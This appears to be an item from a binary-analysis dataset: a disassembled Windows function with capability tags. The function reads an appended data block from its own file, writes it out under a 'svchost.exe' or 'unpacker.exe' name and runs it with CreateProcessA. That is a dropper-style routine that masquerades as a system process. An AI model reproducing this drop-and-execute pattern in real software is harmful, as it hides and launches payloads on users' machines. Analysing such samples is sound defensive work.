Function at 0x404270
Capabilities:
Check if file exists
Create process on windows
Delete file
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x40a3fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x29c
push ebx
push ebp
push esi
push edi
mov edi, str.Mrak1pack
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x50]
mov eax, ecx
mov esi, edi
mov edi, edx
mov dword [esp + 0x2b4], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x18], ebx
and ecx, 3
mov dword [esp + 0x1c], ebx
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov ecx, dword [0x40d7a4]
mov esi, dword [0x40d7a0]
mov eax, ecx
mov byte [esp + 0x2b4], 3
cmp eax, ebx
jle 0x4042fb
cmp byte [esi + eax], 0x5c
je 0x4042fb
dec eax
cmp eax, ebx
jg 0x4042f0
inc eax
xor edx, edx
cmp eax, ecx
jge 0x40431d
sub ecx, eax
add esi, eax
mov eax, ecx
mov edx, ecx
lea edi, [esp + 0xac]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xac]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + edx + 0xac], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x1c], ecx
inc ecx
push ecx
call fcn.004052bd
mov ebp, eax
lea edi, [esp + 0xb0]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x40437b
push eax
call fcn.004052b2
add esp, 4
mov ecx, 0x40d7a0
mov dword [esp + 0x18], ebp
call fcn.00402480
mov esi, eax
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
sub esp, 8
repne scasb al, byte es:[edi]
not ecx
mov ebp, esp
dec ecx
mov dword [esp + 0x34], esp
mov dword [ebp + 4], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [ebp], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00404120
add esp, 8
test al, al
jne 0x40444d
mov eax, dword [esp + 0x20]
mov byte [esp + 0x2b4], 2
cmp eax, ebx
je 0x4043f6
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], ebx
cmp eax, ebx
mov byte [esp + 0x2b4], 1
je 0x404413
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], ebx
cmp eax, ebx
mov byte [esp + 0x2b4], 0
je 0x404430
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x2bc]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x2b4], 0xffffffff
cmp eax, ebx
jmp 0x404925
push 0x40d7a0
call fcn.0040196a
mov ebp, eax
add esp, 4
cmp ebp, ebx
jne 0x404492
mov eax, dword [esp + 0x20]
mov byte [esp + 0x2b4], 2
cmp eax, ebx
je 0x404479
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], ebx
cmp eax, ebx
mov byte [esp + 0x2b4], 1
je 0x404413
jmp 0x40440a
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xffffffffffffffe8
push ebp
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [esp + 0x3c]
push ebx
push ecx
lea edx, [esp + 0x58]
push 0x18
push edx
push ebp
call edi
push ebx
push ebx
push ebx
push ebp
call esi
mov eax, dword [esp + 0x60]
push eax
call fcn.004052bd
mov edx, dword [esp + 0x64]
add esp, 4
lea ecx, [esp + 0x3c]
mov ebx, eax
push 0
push ecx
push edx
push ebx
push ebp
call edi
mov eax, dword [esp + 0x2c0]
mov dword [esp + 0x14], eax
inc eax
push eax
call fcn.004052bd
mov edi, dword [esp + 0x2c0]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esp + 0x28], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
xor edi, edi
cmp eax, edi
je 0x404531
push eax
call fcn.004052b2
mov edx, dword [esp + 0x2c]
add esp, 4
push str._svchost.exe
lea ecx, [esp + 0x30]
mov dword [esp + 0x14], edx
call fcn.004021d0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x2b8], 4
call fcn.004023f0
lea ecx, [esp + 0x2c]
mov esi, eax
mov byte [esp + 0x2b4], 3
call fcn.00402490
push esi
lea ecx, [esp + 0x14]
call fcn.00402300
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x404669
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x404669
mov eax, dword [0x40d7b4]
mov dword [esp + 0x14], eax
inc eax
push eax
call fcn.004052bd
mov edi, dword [0x40d7b0]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esp + 0x28], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4045e9
push eax
call fcn.004052b2
mov edx, dword [esp + 0x2c]
add esp, 4
push 0x40d1ac
lea ecx, [esp + 0x30]
mov dword [esp + 0x14], edx
call fcn.004021d0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x2b8], 5
call fcn.004023f0
lea ecx, [esp + 0x2c]
mov esi, eax
mov byte [esp + 0x2b4], 3
call fcn.00402490
push esi
lea ecx, [esp + 0x14]
call fcn.00402300
push str.unpacker.exe
lea ecx, [esp + 0x30]
call fcn.004021d0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x2b8], 6
call fcn.004023f0
lea ecx, [esp + 0x2c]
mov esi, eax
mov byte [esp + 0x2b4], 3
call fcn.00402490
push esi
lea ecx, [esp + 0x14]
call fcn.00402300
xor edi, edi
lea ecx, [esp + 0x10]
push ecx
call fcn.00401931
mov esi, eax
add esp, 4
cmp esi, edi
jne 0x4046df
push ebx
call fcn.004052b2
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x20]
mov byte [esp + 0x2b4], 2
cmp eax, edi
je 0x4046a5
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], edi
cmp eax, edi
mov byte [esp + 0x2b4], 1
je 0x4046c2
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], edi
cmp eax, edi
mov byte [esp + 0x2b4], 0
je 0x40490d
jmp 0x404904
mov eax, dword [esp + 0x60]
lea edx, [esp + 0x3c]
push edi
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.004052b2
mov eax, dword [esp + 0x18]
mov dword [esp + 0x28], eax
inc eax
push eax
call fcn.004052bd
mov edi, dword [esp + 0x18]
mov ebx, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
test eax, eax
je 0x404745
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x64]
mov dword [esp + 0x20], ebx
push eax
call fcn.004052bd
mov edx, dword [esp + 0x68]
add esp, 4
lea ecx, [esp + 0x3c]
mov ebx, eax
push 0
push ecx
push edx
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x40d7b4]
mov dword [esp + 0x14], eax
inc eax
push eax
call fcn.004052bd
mov edi, dword [0x40d7b0]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esp + 0x28], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4047bd
push eax
call fcn.004052b2
mov edx, dword [esp + 0x2c]
add esp, 4
push 0x40d1ac
lea ecx, [esp + 0x30]
mov dword [esp + 0x14], edx
call fcn.004021d0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x2b8], 7
call fcn.004023f0
lea ecx, [esp + 0x2c]
mov esi, eax
mov byte [esp + 0x2b4], 3
call fcn.00402490
push esi
lea ecx, [esp + 0x14]
call fcn.00402300
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x1c]
add eax, esi
mov dword [esp + 0x14], eax
inc eax
push eax
call fcn.004052bd
mov edi, dword [esp + 0x14]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esp + 0x2c], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
xor edi, edi
cmp eax, edi
je 0x40487d
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], eax
call fcn.00402300
lea edx, [esp + 0x10]
push edx
call fcn.00401931
mov esi, eax
add esp, 4
cmp esi, edi
jne 0x404937
push ebx
call fcn.004052b2
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x20]
mov byte [esp + 0x2b4], 2
cmp eax, edi
je 0x4048d3
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], edi
cmp eax, edi
mov byte [esp + 0x2b4], 1
je 0x4048f0
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], edi
cmp eax, edi
mov byte [esp + 0x2b4], 0
je 0x40490d
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x2bc]
mov dword [esp + 0x18], edi
mov dword [esp + 0x2b4], 0xffffffff
cmp eax, edi
je 0x404930
push eax
call fcn.004052b2
add esp, 4
xor al, al
jmp 0x404b70
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x3c]
push edi
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call fcn.004052b2
add esp, 4
push ebp
call esi
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x68]
xor edx, edx
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], edx
mov dword [esp + 0x14], eax
inc eax
mov bl, 8
mov dword [esp + 0x48], edx
push eax
mov byte [esp + 0x2b8], bl
mov dword [esp + 0x6c], 0x44
mov dword [esp + 0x50], edx
call fcn.004052bd
mov edi, dword [esp + 0x24]
mov ebp, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4049dd
push eax
call fcn.004052b2
add esp, 4
push 0x40d1dc
lea ecx, [esp + 0x38]
mov dword [esp + 0x14], ebp
call fcn.00402260
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x38]
call fcn.004023f0
push eax
lea ecx, [esp + 0x38]
call fcn.00402300
push 0x40d1d8
lea ecx, [esp + 0x30]
call fcn.004021d0
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x2b8], 9
call fcn.004023f0
lea ecx, [esp + 0x2c]
mov esi, eax
mov byte [esp + 0x2b4], bl
call fcn.00402490
push esi
lea ecx, [esp + 0x38]
call fcn.00402300
push 0x40d7a0
lea ecx, [esp + 0x38]
call fcn.004023f0
push eax
lea ecx, [esp + 0x38]
call fcn.00402300
mov ecx, dword [esp + 0x2bc]
lea edx, [esp + 0x40]
lea eax, [esp + 0x68]
push edx
mov edx, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x18]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x404aed
lea ecx, [esp + 0x34]
mov byte [esp + 0x2b4], 3
call fcn.00402490
lea ecx, [esp + 0x20]
mov byte [esp + 0x2b4], 2
call fcn.00402490
lea ecx, [esp + 0x10]
mov byte [esp + 0x2b4], 1
call fcn.00402490
lea ecx, [esp + 0x18]
mov byte [esp + 0x2b4], 0
call fcn.00402490
lea ecx, [esp + 0x2bc]
mov dword [esp + 0x2b4], 0xffffffff
call fcn.00402490
xor al, al
jmp 0x404b70
mov ecx, dword [esp + 0x40]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x44]
push edx
call esi
mov eax, dword [0x40d7b8]
push 0
push 0
push 0x10
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
lea ecx, [esp + 0x34]
mov byte [esp + 0x2b4], 3
call fcn.00402490
lea ecx, [esp + 0x20]
mov byte [esp + 0x2b4], 2
call fcn.00402490
lea ecx, [esp + 0x10]
mov byte [esp + 0x2b4], 1
call fcn.00402490
lea ecx, [esp + 0x18]
mov byte [esp + 0x2b4], 0
call fcn.00402490
lea ecx, [esp + 0x2bc]
mov dword [esp + 0x2b4], 0xffffffff
call fcn.00402490
mov al, 1
mov ecx, dword [esp + 0x2ac]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x2a8
ret